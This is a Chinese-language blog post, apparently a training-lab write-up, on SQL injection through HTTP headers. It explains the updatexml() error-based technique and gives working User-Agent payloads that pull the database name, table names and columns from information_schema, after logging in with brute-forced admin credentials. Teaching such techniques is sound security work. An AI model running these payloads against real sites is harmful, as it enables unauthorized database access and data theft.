当前位置: 首页 > news >正文

掌控安全 -- header注入

http header注入

        该注入是指利用后端验证客户端口信息(比如常用的cookie验证)或者通过http header中获取客户端的一些信息(比如useragent用户代理等其他http header字段信息),因为这些信息是会重新返回拼接到后台中的,所以再对这些信息进行sql处理,又因为后台没有进过相对应的信息处理所以构成了sql注入。

总结就是: 在传参时,后端为了验证或者获取客户端的一些信息,将这些信息存入到数据库但没有进行相关的处理,所以存在了header注入

User-Agent:

向服务器发送,包含了访问者系统引擎版本、浏览器信息的字段信息。一般服务器识别出是爬虫请求,会拒绝访问。所以此时设置User-Agent,可以将爬虫伪装成用户通过浏览器访问。

X-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址.

updatexml (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
构建语句
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

通过爆破我们知道username 和 password 为 admin  123456

而insert into 在登录之后才能执行,也就是靶场在登录之后才能执行head注入

然而我们发现 在User-agent后边拼接字符串他的页面会报错,所以知道了在UA这里存在注入

当我们发现将User-agent改为 1','2') -- 1的时候 会绕过过滤,页面显示正常

'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),'2') -- 1

查询库名

这里and和or需要都试一下

然后获取到表名

'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),1),'2') -- 1

'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag_head'limit 0,1),0x7e),1),'2') -- 1

爆数据

然后就出来了

http://www.lryc.cn/news/257745.html

相关文章:

  • windows批处理脚本(.bat)如何激活Anconda Prompt虚拟环境
  • 扩散模型实战(十四):扩散模型生成音频
  • 《微信小程序开发从入门到实战》学习四十七
  • LeetCode刷题笔记之数组
  • ViT:视觉 Transformer
  • Jmeter 请求签名api接口-BeanShell
  • No suitable driver found for jdbc:mysql://localhost:3306(2023/12/7更新)
  • word文档中数字格式转换(排版助手)
  • 阿里云docker加速
  • Panalog 日志审计系统 sprog_deletevent.php SQL 注入漏洞复现
  • openGauss学习笔记-152 openGauss 数据库运维-备份与恢复-物理备份与恢复之PITR恢复
  • PhpStorm基本配置及常用快捷键
  • Autosar通信实战系列05-CanNM模块进阶常见问题思考
  • Java中多态的一些简单理解
  • 011 数据结构_哈希
  • 案例025:基于微信小程序的移动学习平台的设计与实现
  • 写实3D游戏模型纹理贴图设置
  • 如何基于Akamai IoT边缘平台打造一个无服务器的位置分享应用
  • 【开源】基于JAVA的木马文件检测系统
  • KaiOS 运营商相关文件operator_variant_manager.js代码功能和调试
  • 【数据结构(六)】排序算法介绍和算法的复杂度计算(1)
  • 带有 RaspiCam 的 Raspberry Pi 监控和延时摄影摄像机
  • Apache Doris 在某工商信息商业查询平台的湖仓一体建设实践
  • 【尘缘送书第六期】2023年度学习:AIGC、AGI、GhatGPT、人工智能大模型实现必读书单
  • 我的 CSDN 三周年创作纪念日:2020-12-12
  • 什么是css初始化
  • 谁会成为第一个MoE大模型基座呢?重磅!Mixtral MoE 8x7B!!!
  • Linux升级nginx版本
  • 人工智能|网络爬虫——用Python爬取电影数据并可视化分析
  • mac苹果笔记本电脑如何强力删除卸载app软件?